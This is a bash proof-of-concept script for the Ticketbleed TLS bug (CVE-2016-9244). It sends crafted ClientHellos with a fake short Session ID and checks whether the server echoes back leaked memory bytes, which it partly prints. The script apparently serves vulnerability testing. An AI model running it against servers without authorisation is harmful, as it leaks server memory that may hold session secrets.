1#!/usr/local/bin/bash 2 3# Fast and reliable POC bash socket implementation of ticketbleed (CVE-2016-9244), see also http://ticketbleed.com/ 4# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt 5# 6# sockets inspired by http://blog.chris007.de/?p=238 7# ticketbleed inspired by https://blog.filippo.io/finding-ticketbleed/ 8# 9###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### 10 11[[ -z "$1" ]] && echo "IP is missing" && exit 1 12 13readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' 14 15OPENSSL=${OPENSSL:-$(type -p openssl)} 16TIMEOUT=${TIMEOUT:-20} 17 18# insert some hexspeak here :-) 19SID="x00,x00,x0B,xAD,xC0,xDE," # don't forget the trailing comma 20 21NODE="$1" 22PORT="${NODE#*:}" 23PORT="${PORT-443}" # probably this doesn't make sense 24NODE="${NODE%:*}" # strip port if supplied 25TLSV=${2:-01} # TLS 1.0=x01 1.1=0x02, 1.2=0x3 26MAXSLEEP=$TIMEOUT 27SOCKREPLY="" 28COL_WIDTH=32 29DEBUG=${DEBUG:-"false"} 30HELLO_READBYTES=${HELLO_READBYTES:-65535} 31 32dec2hex() { printf "x%02x" "$1"; } 33dec2hexB() { 34 a=$(printf "%04x" "$1") 35 printf "x%02s, x%02s" "${a:0:2}" "${a:2:2}" 36} 37 38LEN_SID=$(( ${#SID} / 4)) # the real length in bytes 39XLEN_SID="$(dec2hex $LEN_SID)" 40 41red=$(tput setaf 1; tput bold) 42green=$(tput bold; tput setaf 2) 43lgreen=$(tput setaf 2) 44brown=$(tput setaf 3) 45blue=$(tput setaf 4) 46magenta=$(tput setaf 5) 47cyan=$(tput setaf 6) 48grey=$(tput setaf 7) 49yellow=$(tput setaf 3; tput bold) 50normal=$(tput sgr0) 51 52send_clienthello() { 53 local -i len_ch=216 # len of clienthello, excluding TLS session ticket and SID (record layer) 54 local session_tckt_tls="$1" 55 local -i len_tckt_tls="${#1}" 56 local xlen_tckt_tls="" 57 58 len_tckt_tls=$(( len_tckt_tls / 4)) 59 xlen_tckt_tls="$(dec2hex $len_tckt_tls)" 60 61 local len_handshake_record_layer="$(( LEN_SID + len_ch + len_tckt_tls ))" 62 local xlen_handshake_record_layer="$(dec2hexB "$len_handshake_record_layer")" 63 local len_handshake_ssl_layer="$(( len_handshake_record_layer + 4 ))" 64 local xlen_handshake_ssl_layer="$(dec2hexB "$len_handshake_ssl_layer")" 65 66 if $DEBUG; then 67 echo "len_tckt_tls (hex): $len_tckt_tls ($xlen_tckt_tls)" 68 echo "SID: $SID" 69 echo "LEN_SID (XLEN_SID) $LEN_SID ($XLEN_SID)" 70 echo "len_handshake_record_layer: $len_handshake_record_layer ($xlen_handshake_record_layer)" 71 echo "len_handshake_ssl_layer: $len_handshake_ssl_layer ($xlen_handshake_ssl_layer)" 72 echo "session_tckt_tls: $session_tckt_tls" 73 fi 74 75 client_hello=" 76# TLS header (5 bytes) 77 ,x16, # Content type (x16 for handshake) 78 x03, x01, # TLS Version 79 # Length Secure Socket Layer follow: 80 $xlen_handshake_ssl_layer, 81# Handshake header 82 x01, # Type (x01 for ClientHello) 83 # Length of client hello follows: 84 x00, $xlen_handshake_record_layer, 85 x03, x$TLSV, # TLS Version 86# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html 87 xee, xee, x5b, x90, x9d, x9b, x72, x0b, 88 xbc, x0c, xbc, x2b, x92, xa8, x48, x97, 89 xcf, xbd, x39, x04, xcc, x16, x0a, x85, 90 x03, x90, x9f, x77, x04, x33, xff, xff, 91 $XLEN_SID, # Session ID length 92 $SID 93 x00, x66, # Cipher suites length 94# Cipher suites (51 suites) 95 xc0, x14, xc0, x0a, xc0, x22, xc0, x21, 96 x00, x39, x00, x38, x00, x88, x00, x87, 97 xc0, x0f, xc0, x05, x00, x35, x00, x84, 98 xc0, x12, xc0, x08, xc0, x1c, xc0, x1b, 99 x00, x16, x00, x13, xc0, x0d, xc0, x03, 100 x00, x0a, xc0, x13, xc0, x09, xc0, x1f, 101 xc0, x1e, x00, x33, x00, x32, x00, x9a, 102 x00, x99, x00, x45, x00, x44, xc0, x0e, 103 xc0, x04, x00, x2f, x00, x96, x00, x41, 104 xc0, x11, xc0, x07, xc0, x0c, xc0, x02, 105 x00, x05, x00, x04, x00, x15, x00, x12, 106 x00, x09, x00, x14, x00, x11, x00, x08, 107 x00, x06, x00, x03, x00, xff, 108 x01, # Compression methods length 109 x00, # Compression method (x00 for NULL) 110 x01, x0b, # Extensions length 111# Extension: ec_point_formats 112 x00, x0b, x00, x04, x03, x00, x01, x02, 113# Extension: elliptic_curves 114 x00, x0a, x00, x34, x00, x32, x00, x0e, 115 x00, x0d, x00, x19, x00, x0b, x00, x0c, 116 x00, x18, x00, x09, x00, x0a, x00, x16, 117 x00, x17, x00, x08, x00, x06, x00, x07, 118 x00, x14, x00, x15, x00, x04, x00, x05, 119 x00, x12, x00, x13, x00, x01, x00, x02, 120 x00, x03, x00, x0f, x00, x10, x00, x11, 121# Extension: SessionTicket TLS 122 x00, x23, 123# length of SessionTicket TLS 124 x00, $xlen_tckt_tls, 125# Session Ticket 126 $session_tckt_tls # here we have the comma already 127# Extension: Heartbeat 128 x00, x0f, x00, x01, x01" 129 130 msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n') 131 socksend "$msg" $TLSV 132} 133 134 135parse_hn_port() { 136 # strip "https", supposed it was supplied additionally 137 grep -q 'https://' <<< "$NODE" && NODE="$(sed -e 's/https\:\/\///' <<< "$NODE")" 138 139 # strip trailing urlpath 140 NODE=$(sed -e 's/\/.*$//' <<< "$NODE") 141 142 # determine port, supposed it was supplied additionally 143 grep -q ':' <<< "$NODE" && PORT=$(sed 's/^.*\://' <<< "$NODE") && NODE=$(sed 's/\:.*$//' <<< "$NODE") 144} 145 146wait_kill(){ 147 pid=$1 148 maxsleep=$2 149 while true; do 150 if ! ps $pid >/dev/null ; then 151 return 0 # didn't reach maxsleep yet 152 fi 153 sleep 1 154 maxsleep=$((maxsleep - 1)) 155 test $maxsleep -eq 0 && break 156 done # needs to be killed 157 kill $pid >&2 2>/dev/null 158 wait $pid 2>/dev/null 159 return 3 # killed 160} 161 162 163socksend() { 164 local len 165 166 data="$(echo -n $1)" 167 if "$DEBUG"; then 168 echo "\"$data\"" 169 len=$(( $(wc -c <<< "$data") / 4 )) 170 echo -n "length: $len / " 171 dec2hexB $len 172 echo 173 fi 174 echo -en "$data" >&5 175} 176 177 178sockread_nonblocking() { 179 [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2 180 ret=0 181 182 SOCKREPLY="$(dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"')" & 183 wait_kill $! $maxsleep 184 ret=$? 185 echo -n -e "$SOCKREPLY" # this doesn't work as the SOCKREPLY above belngs to a bckgnd process 186 return $ret 187} 188 189sockread() { 190 dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"' 191} 192 193fixme(){ 194 tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0 195} 196 197 198fd_socket(){ 199 if ! exec 5<> /dev/tcp/$NODE/$PORT; then 200 echo "$(basename $0): unable to connect to $NODE:$PORT" 201 exit 2 202 fi 203} 204 205close_socket(){ 206 exec 5<&- 207 exec 5>&- 208 return 0 209} 210 211cleanup() { 212 close_socket 213 echo 214 echo 215 return 0 216} 217 218 219get_sessticket() { 220 local sessticket_str 221 local output 222 223 output="$($OPENSSL s_client -connect $NODE:$PORT </dev/null 2>/dev/null)" 224 if ! grep -qw CONNECTED <<< "$output"; then 225 return 1 226 else 227 sessticket_str="$(awk '/TLS session ticket:/,/^$/' <<< "$output" | awk '!/TLS session ticket/')" 228 sessticket_str="$(sed -e 's/^.* - /x/g' -e 's/ .*$//g' <<< "$sessticket_str" | tr '\n' ',')" 229 sed -e 's/ /,x/g' -e 's/-/,x/g' <<< "$sessticket_str" 230 return 0 231 fi 232} 233 234#### main 235 236parse_hn_port "$1" 237 238early_exit=true 239declare -a memory sid_detected 240nr_sid_detected=0 241 242 243# there are different "timeout". Check whether --preserve-status is supported 244if type -p timeout &>/dev/null ; then 245 if timeout --help 2>/dev/null | grep -q 'preserve-status'; then 246 OPENSSL="timeout --preserve-status $TIMEOUT $OPENSSL" 247 else 248 OPENSSL="timeout $TIMEOUT $OPENSSL" 249 fi 250else 251 echo " binary \"timeout\" not found. Continuing without it" 252 unset TIMEOUT 253fi 254 255 256echo 257"$DEBUG" && ( echo ) 258echo "##### 1) Connect to determine 1x session ticket TLS" 259# attn! neither here nor in the following client hello we do SNI. Assuming this is a vulnebilty of the TLS implementation 260SESS_TICKET_TLS="$(get_sessticket)" 261if [[ $? -ne 0 ]]; then 262 echo >&2 263 echo -e "$NODE:$PORT ${magenta}not reachable / no TLS${normal}\n " >&2 264 exit 0 265fi 266[[ "$SESS_TICKET_TLS" == "," ]] && echo -e "${green}OK, not vulnerable${normal}, no session tickets\n" && exit 0 267 268trap "cleanup" QUIT EXIT 269"$DEBUG" && ( echo; echo ) 270echo "##### 2) Sending 1 to 3 ClientHello(s) (TLS version 03,$TLSV) with this ticket and a made up SessionID" 271 272# we do 3 client hellos, and see whether different memory is returned 273for i in 1 2 3; do 274 fd_socket $PORT 275 276 "$DEBUG" && echo "$i" 277 send_clienthello "$SESS_TICKET_TLS" 278 279 "$DEBUG" && ( echo; echo ) 280 [[ "$i" -eq 1 ]] && echo "##### Reading server replies ($HELLO_READBYTES bytes)" && echo 281 SOCKREPLY=$(sockread $HELLO_READBYTES) 282 283 if "$DEBUG"; then 284 echo "=============================" 285 echo "$SOCKREPLY" 286 echo "=============================" 287 fi 288 289 if [[ "${SOCKREPLY:0:2}" == "15" ]]; then 290 echo -n "TLS Alert ${SOCKREPLY:10:4} (TLS version: ${SOCKREPLY:2:4}) -- " 291 echo "${green}OK, not vulnerable ${normal} (TLS alert)" 292 break 293 elif [[ -z "${SOCKREPLY:0:2}" ]]; then 294 echo "${green}OK, not vulnerable ${normal} (zero reply)" 295 break 296 elif [[ "${SOCKREPLY:0:2}" == "16" ]]; then 297 # we need to look into this as some servers just respond as if nothing happened 298 early_exit=false 299 "$DEBUG" && echo -n "Handshake (TLS version: ${SOCKREPLY:2:4}), " 300 if [[ "${SOCKREPLY:10:6}" == 020000 ]]; then 301 echo -n " ServerHello $i -- " 302 else 303 echo -n " Message type: ${SOCKREPLY:10:6} -- " 304 fi 305 sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$SID") 306 sid_detected[i]="${SOCKREPLY:88:32}" 307 memory[i]="${SOCKREPLY:$((88+ len_sid*2)):$((32 - len_sid*2))}" 308 if "$DEBUG"; then 309 echo 310 echo "TLS version, record layer: ${SOCKREPLY:18:4}" 311 #echo "Random bytes / timestamp: ${SOCKREPLY:22:64}" 312 echo "memory: ${memory[i]}" 313 echo "Session ID: ${sid_detected[i]}" 314 fi 315 if grep -q $sid_input <<< "${sid_detected[i]}"; then 316 #echo -n " (${yellow}Session ID${normal}, ${red}mem returned${normal} --> " 317 echo -n "${sid_detected[i]}" | sed -e "s/$sid_input/${grey}$sid_input${normal}${blue}/g" 318 echo "${normal})" 319 else 320 echo -n "not expected server reply but likely not vulnerable" 321 fi 322 else 323 echo "TLS record ${SOCKREPLY:0:2} replied" 324 echo -n "Strange server reply, pls report" 325 break 326 fi 327done 328echo 329 330if ! "$early_exit"; then 331 # here we test the replies if a TLS server hello was received >1x 332 for i in 1 2 3 ; do 333 if grep -q $sid_input <<< "${sid_detected[i]}"; then 334 # was our faked TLS SID returned? 335 nr_sid_detected=$((nr_sid_detected + 1)) 336 fi 337 done 338 if [[ $nr_sid_detected -eq 3 ]]; then 339 if [[ ${memory[1]} != ${memory[2]} ]] && [[ ${memory[2]} != ${memory[3]} ]]; then 340 echo "${red}VULNERABLE!${normal}, real memory returned" 341 else 342 echo "${green}not vulnerable ${normal} (same memory fragments returned)" 343 fi 344 else 345 echo "results ($nr_sid_detected of 3) are kind of fishy. If it persist, let Dirk know" 346 fi 347fi 348 349exit 0 350 351# vim:ts=5:sw=5 352 353